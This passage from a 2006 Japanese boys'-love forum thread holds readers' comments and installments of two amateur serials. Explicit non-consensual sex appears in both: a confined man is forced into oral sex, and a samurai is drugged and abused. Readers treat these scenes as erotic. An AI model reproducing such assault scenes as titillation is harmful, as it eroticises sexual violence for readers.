効果が完全に切れる前にさらに投与されて、劇的な効果が!
ってことでいいんじゃないの
薬物の効き目は精神的なものも結構作用するしね
見られて感度10倍w

270 名前:風と木の名無しさん mailto:sage [2006/11/09(木) 21:10:52 ID:TZygNU890]
というか、267タンのエロ描写がものすげえ自分のツボで嬉しいお。
ガチムチ男が羞恥を手放す瞬間が大好物だお。

271 名前:風と木の名無しさん mailto:sage [2006/11/09(木) 21:16:55 ID:1tbXy+kgO]
初仕事さん乙!
密室での人間の心理…これからの展開が楽しみ

272 名前:風と木の名無しさん mailto:sage [2006/11/10(金) 00:30:38 ID:za9g934p0]
リレー、めたくそエロくなってきた
> きき分けの無い幼子が、寝転がり両脚をばたつかせ
> 泣き喚いているかのような格好で
たまらぬ! これはたまらぬ!

初仕事タン乙
一触即発の雰囲気がいい!
ハラハラする話は大好きだ

273 名前:風と木の名無しさん mailto:sage [2006/11/10(金) 01:43:08 ID:T8ZGJvwvO]
こういう時代背景は好きなのでつが、
メルヘンたんは4〜5回に1回くらいがイイ...
エロがグロの紙一重...たまにだから萌えるのに。

274 名前:初仕事8 mailto:sage [2006/11/10(金) 01:43:37 ID:5qmHEZrm0]
ツメカミがひるんで体勢を崩した隙に、僕はするするとあとずさっていた。
床はやわらかなフローリング。冷たくて固い板とは違う、なんといえばいいんだろう、
白っぽい合板。ケツをぺたんと下ろしたまま、手で床をかいて、つまり後ろ向きに
いざったような格好。あんまり僕がそそくさと離れたせいか、ツメカミもそれ以上何も
言って来なかった。
そう、隙を見せちゃいけないんだ。体が小さいわけでも、なよっぽいわけでもない、
けどつけ入られやすいところ。たぶん、僕にそういうところがあるんだろう。このバイトの
採用担当者にも言われたけど。けどあのときは、そこがいいって言ってもらったな。
他のメンバーもあの人に面接してもらったんだろうか。
そんなことを考えてる僕の耳に、不穏な声が忍び込んできた。
トイレの方からだ。ふっ、とも、くっ、ともつかない、吐息の合間にもれる声。さっきトイレに
向かったのは…ガチャメだ。もうけっこうな時間になるけど。
「ぅーい、マスかいてんじゃねえぞーおっさん」
えっ、そうなの?そうなのかな。でも、あのガチャメが。ちょっと意外。だってもう、20代も
後半、もしかしたら30いってんのかもなんて思って見てたのに。高校生くらいに見える
ヒッツレなら我慢できなくて、ってあるかもしれないけど。
ふぅ、はあ、と息をゆっくり吐いて整える様子が感じられる。ああ、イったんだ。ペーパーを
そっと引き出してる。それに続いて水音が鳴る。トイレットペーパーか。固形物をあまり
とらなくなった僕らには、最近ご縁のない代物だ。ツメカミなんてここ数日ゼリーだけだ、
さすがに大きい方は出てないだろう。ヤツのイライラがひどくなったのは、このゼリー飲料
攻勢が始まってからだと僕は感じてる。興奮剤でも入ってるのかね、あれ。
「スッキリしましたかー?いいですねー一人でいいことしちゃって」
トイレから出てきたガチャメに、ツメカミがだるそうに声をかける。いや、ほんとにだるい
のかも知れないな。


275 名前:初仕事9 mailto:sage [2006/11/10(金) 01:44:55 ID:5qmHEZrm0]
ここへ来て、2、3日は空腹できつかったけど、今じゃすっかり慣れて、食べることへの
執着がなくなってしまったと言っていい。気に入らないゼリーが続いてるツメカミは、
なおさら食欲が落ちてるに違いない。食ってない、寝ていない。そういうときって、男は
かえって凶暴化するって話あるよね、性的に。なにしろこんな刺激のない生活だし。
てらいもなく“処理”してきた今のガチャメに対しては、ツメカミもいろいろ複雑だろう。
あのだるそうな声が、かえって強い憎しみを含んでいそうで僕はちょっと怖くなった。
「あの…アメ、食べる?一日中同じものって、さすがに飽きるよね」
僕は自分が支給されたキャンディから一つ取り出して差し出した。受け取ってくれたら
もう何個かは追加しようと思ってた。けど、ツメカミははっきりと僕をにらみつけて言った。
「だから。そういうとこがウゼえって言ってんだよてめえはよ」
目が尖ってる。刃物みたいになって、僕を突き刺そうとしてる。ああ、もう限界なんだ。
ツメカミはきっとこのあと行動を起こす。それが暴力なのか、逃亡なのか、穏便なリタイヤ
なのか。僕には判断がつかなかったけど、彼はもう限界、確かにそう思えた。
苛立つときのくせで、またヤツは爪を噛み始めた。きっともう、噛む爪がなくなって、
周りのふやけた皮膚を噛みちぎってるに違いない。噛みちぎった皮を前歯でぎちぎちと
もてあそんで、ぺっと床に吐く。その繰り返しがここのところのツメカミの遊びだ。
「あの、アメ。食べるかな」
部屋の真ん中に陣取ってるツメカミを避けて、ガチャメとヒッツレは僕と反対側の壁際に
もたれている。昨日あたりからガチャメがいじってるのは、小さなパーツが磁石でくっつく
立体パズル。でも、何かを完成させたくてやってるようには見えないけど。


276 名前:初仕事10 mailto:sage [2006/11/10(金) 01:45:28 ID:5qmHEZrm0]
「…サンキュ」
受け取ってくれた。あ、ちょっと目だけで笑ったよこの人。僕も何気なく笑い返そうと
思ったとき、ふっと鼻を撫でていった匂い。あれ、何かつけてるんだろうか。甘くて
ちょっと苦い、どこかで知ってるような香り。僕が目を泳がせてるのを不審に思ったのか、
彼が顔を覗き込んであの目つきをした。片目だけ、くっと細めるような。
「あっ、ごめん。なんでもない」
あわてて何個かのキャンディを彼の前に落として、ヒッツレの前へ滑っていく。
今日のヒッツレはひたすらストレッチだ。胡坐のように座って足の裏同士を合わせる。
それでぺったりと前に体を倒した姿勢で何十分も、いや何時間も飽きずに漫画を眺めてる。
僕はヒッツレの膝近くにキャンディを何個かこぼすと、ちょっと目配せした。ヤツも
目を合わせて、きゅっと目元を絞っただけだった。でもそれで十分、通じる気がした。
違う食べ物で気を紛らわしてほしいと思ったけど、ツメカミには無駄なことだったみたいだ。
かえって
僕への苛立ちが増してしまっただけらしい。
それからたぶん、一晩が過ぎた。というのも、この部屋には時計もなく、時間のわかるような
変化もないから、判断のしようがないんだ。照明は煌々と点ったまま。それも天井全体が
光っているかのような間接照明だから、白い床と壁に囲まれて僕らの意識は宙に浮いた
ようにぼんやりとしてきている。逆に、とげとげしく苛立ちをあらわにしてるヤツもいるけど。
今日も変わり映えしない一日。みんなして血圧を測り、食事を受け取り、のんべんだらり。
ツメカミが、支給されたゼリーのパックをとうとう投げつけた。床をすべり、壁に当たる。
段々と、それが僕自身に見えてくる。そのうちこうやって投げつけられるんだろうか。




277 名前:初仕事11 mailto:sage [2006/11/10(金) 01:46:17 ID:5qmHEZrm0]
今日はシリアルバーを手に入れたガチャメが、シャワーへ向かった。出入り口とは別の
ドアの向こうに脱衣所とシャワー室があって、自由に使っていいことになってるんだ。
シリアルバーが床に散らばってる。ツメカミ、まさかあれを盗もうとしてる?
その視線を盗み見てた僕は、速攻で見つかって、壁際に追い詰められた。
「何見てんだよてめえっ!」
絵にかいたように胸倉を掴まれて、壁に押し付けられる。何も、と言い訳しようとしたとき。
「ああーっ!またかよ!」
あの声だ。ツメカミが僕の胸を掴んだまま、体を折り曲げて叫ぶ。昨日までより、ずっと近くで
声がする。部屋がいくつもあって、その全部を順に使って毎日毎日セックスしてるんだろうか。
「ウゼえんだよっ!ウゼエ!」
襟元をつかまれ、引きずられる。やめて、と言おうとしたけど、首がしまって声が出ない。
ついたての向こう側、トイレの中へ引きずり込まれた。
「まじでウゼエ!てめえ…」
投げ捨てるように床に転がされた。目の前に便器がそびえる。こわごわ顔を上げると、ツメカミが
つなぎの前をこじ開けてるのが見えた。次の瞬間、僕は髪をわしづかみにされ、引っ張り上げ
られる。ひぃ、という音しか出ない。助けて、やめて、と言おうとするのに、声が出ない。
「あいつも…ひとりで勝手なこと…しやがって…」
つなぎの股の裂け目から、ツメカミの怒張が覗く。やめて、やめてくれよ…声にしたいのに、
髪をつかまれたまま震えるように首を振ることしか出来ない。
「アメなんかいらねえから。これしゃぶれ。な」
熱く、生臭い塊を口に押し込まれ、僕はまるで床にころがったおもちゃのように振り回された。
やめて、助けて。声にすることは不可能だった。喉のせばまったところまで無理やり押し込まれ、
むせそうになる。堪えていると、目に涙が滲んでくる。どうしてか僕は、シャワー室にいるはずの
ガチャメに、心の中で助けを求めていた。


278 名前:初仕事12 mailto:sage [2006/11/10(金) 01:47:12 ID:5qmHEZrm0]
やめて、やめて。心の中でひたすら叫ぶ。トイレの中にカメラは向いてるんだろうか。
こんなことされてるって、誰も気づいてくれないなんてやってられない。ちゃんとカメラで
撮って下さいよ。何日も閉じ込められて、同じ食べ物しか与えられず、ワケのわからない
声を聞かされ続けると人間こうなるんです。もういいでしょ、実験終わり。助けてよ、誰か。
「っめて…」
なんとか声を出そうと体を引いた。けど、余計にひどく髪を掴まれて、僕はヤツの股に口を
押し付けられてしまった。完全に道具だ。ヤツの“処理”のための道具。そう思ったら
今度はマジに涙があふれてきた。ホントにちゃんと撮っててくれないとやりきれない。
うめき声と腹を波立たせるほどの息を吐いて、ツメカミがイった。僕は口で受け止めきれず、
顔中にそれを浴びせられた。
「へっ、いい顔。やっぱお前、こういうのが合うよ。ナキボクロちゃーん」
ガラガラ音をたててペーパーを引き出すと、ヤツは自分の体だけ拭いて、さっさと部屋に
戻った。トイレの床にへたりこんだまま、僕はしばらく呆然としていた。ほんっとにカメラ、
これ撮ってる?こんな目に合わされて、誰も見ててくれないなんて救いようがないよ。
メソメソと涙をこぼしながら、それでも流れ落ちてくれない粘液を、トイレットペーパーで
ぬぐう。口の中も、鼻の中も、ヤツの放ったものでぐちゃぐちゃだ。拭けるだけ拭いて、
ツメカミの投げ捨てていったペーパーとまとめて水に流した。
ついたての脇から部屋を覗くと、ツメカミは寝そべってゼリーを飲んでる。僕はただ唇を
噛んで耐えることしか出来なかった。脇のドアが急に開いて、ガチャメが出てきた。
つなぎのボタンを下から順に留めている。僕の泣き顔を見て感づいたのか、それとも
気配で察していたのか。黙ってドアを開けて目配せした。僕はその脇をすり抜ける。
甘苦い、ガチャメの体臭が誘うように僕の体にまとわりついて香った。

ここまでです。

279 名前:267 mailto:sage [2006/11/10(金) 02:25:31 ID:F9vgPwrtO]
>273
エロがゲイっぽいってよく言われます……orz
不快感与えてごめんなさい。それから自分、メルヘンタンではなかとです。

初仕事タン、乙です!
引き込まれました。
続きが楽しみ!!

280 名前:風と木の名無しさん mailto:sage [2006/11/10(金) 09:01:44 ID:pdrGLjxy0]
>>267
あのエロに萌え萌えな読者も多いではないか、やめてはならぬ!

初仕事タン乙乙乙!
いよいよいかがわしい苛めが始まるのだな。
ナキボクロタン、いい子だけど苛められ役オーラ出まくりですな。

281 名前:261 mailto:sage [2006/11/10(金) 09:52:02 ID:uXvoB9z10]
>>266タン
薬に関しては、「そろそろ薬効が切れるんじゃ…と思って
追加してみただけで、その後どうなるか考えて書いたわけでもないよ。
束、それは次の人が考えることだから、自分は何も考えてなかったww
(取り敢えず放出&リンカーンに向けて進めればいいと思ってた程度)
266タンが流れを切ってるとも感じないし、何も疑問を持たずに読んだ。
どうせリレーなんだから、全体の流れさえ把握してあれば、
前の人がどうする気かとかは、あまり気にしすぎなくていいと思うよ。

282 名前:風と木の名無しさん mailto:sage [2006/11/10(金) 10:51:27 ID:q6IfJAx90]
>>280
自分は、精神的に弱そうなツメカミがヤられてしまうと
さらに楽しくなるような気がいたしました。

283 名前:リレー mailto:sage [2006/11/10(金) 11:26:49 ID:lK99Q+RW0]
「何とも凄まじい。死にはせんかと心配になるわ」
御前が喉の奥で笑った。
従兄弟が芝居がかった仕草でかぶりを振る。
「ご冗談を。この薬は精を強めるのです。
まだまだ、これからいくらでも吐き出します。
新たに飲ませずとも明日一日ほどは持ったでしょうが、
これがいきたいとうるさく駄々を捏ねますもので、
甘やかしてやっただけのことでございます」
「ふふふ、わかっていてしたことか。むごい奴じゃのう」
「それだけではありませぬ。こうすれば尻が解れます。
痛い思いをせずに済むのですから、これも喜ぶことでしょう」
侍は薄れかけた意識の端でその会話を捉えていた。
これほどまでに苦しんで、まだ終わらないと言うのか。
大丈夫なわけがない。
このままでは間違いなく自分は死ぬ。
それも、誉れを踏みにじられ惨めに汚れて。
叫びすぎてカラカラに乾いた喉から、助けてくれと
言葉を絞り出そうとした時、従兄弟の声が響いた。
「こちらに連れてこい」
侍が縋り付いていた男が、侍を引き立てようとする。
侍は赤ん坊のようにいやいやと首を振り、腰を落として拒んだが、
もう一人の男が反対側から侍の肩を掴み、
侍は御前の前に引き摺られて行った。
「尻を向けろ」
従兄弟の言葉に、男たちが侍の体を押さえつけて、
御前の目の前にその尻を高く掲げさせた。

お次よろしく。

284 名前:風と木の名無しさん mailto:sage [2006/11/10(金) 13:52:22 ID:iifoK4D20]
自己紹介板のピョン吉。
ゲイかも知れない男に告白したゲイ。
ライトVIPPERなテラモエス野郎なんだぜ?
ttp://jbbs.livedoor.jp/anime/4322/

285 名前:リレー mailto:sage [2006/11/10(金) 18:05:04 ID:F9vgPwrtO]
犬の様に畳に這わされ、御前の御手ずから、尻に丁字油を受けながら、
侍はぐっと身をよじり、尻の向こうの従兄弟を見ようとした。
従兄弟は、侍の縋る様な眼差しと振り返った首のつっぱりを、
冷ややかに見つめ、侍の後孔に注がれ、吸い込まれていく丁字油に、
じっと視線をこらした。どくどくと注がれる油を受けながら、
身悶える侍の脳裏に、まばゆいばかりの明るさで
美しい小川が、その光る水面(みなも)が、よみがえる。
それは、三つ年上の本家の兄(あに)さまが、分家のそれも妾腹の仔侍と、
ただ一度だけ遊んでくれた遠い日の出来事。
川辺で教わったのは、笹舟のつくり方。
笹の葉が、兄さまの器用な指先でくるりと舟に化けたときの驚きを、
長じた今も侍は覚えている。
笹の舟が川に浮き、さらさらと流れていった瞬間の
胸の高鳴りは、忘れられそうもない。
なのに今、大事な思い出が、丁字油のぬめりの中に沈んでいく。
そうして、萎れてていた陰茎は、侍を嘲笑うかの様に、
とろとろと注がれる油に興奮し、頭をもたげ、じわじわと反り返った。
侍は擦れた声で従兄弟の名を叫び、救いを求めた。
だが、その叫びは真昼の光の中に消えてゆく。
餓えていた後孔に与えられたぬめりの心地よさに、体を波打たせ、
再び勃ち上がったその先端に淫らな露を結びながら、侍は苦悶し畳を掻き毟った。

続きよろしくです。

286 名前:風と木の名無しさん mailto:sage [2006/11/10(金) 18:15:36 ID:k3P2+tTG0]
ぎゃー可哀想になってきたよー
って最初から可哀想なんだけど



287 名前:風と木の名無しさん mailto:sage [2006/11/10(金) 22:08:13 ID:4NTT3oqh0]
(*゚∀゚)=3ハァハァ

288 名前:風と木の名無しさん mailto:sage [2006/11/10(金) 22:12:30 ID:h/sqq7v6O]
>>287
IDがNTT






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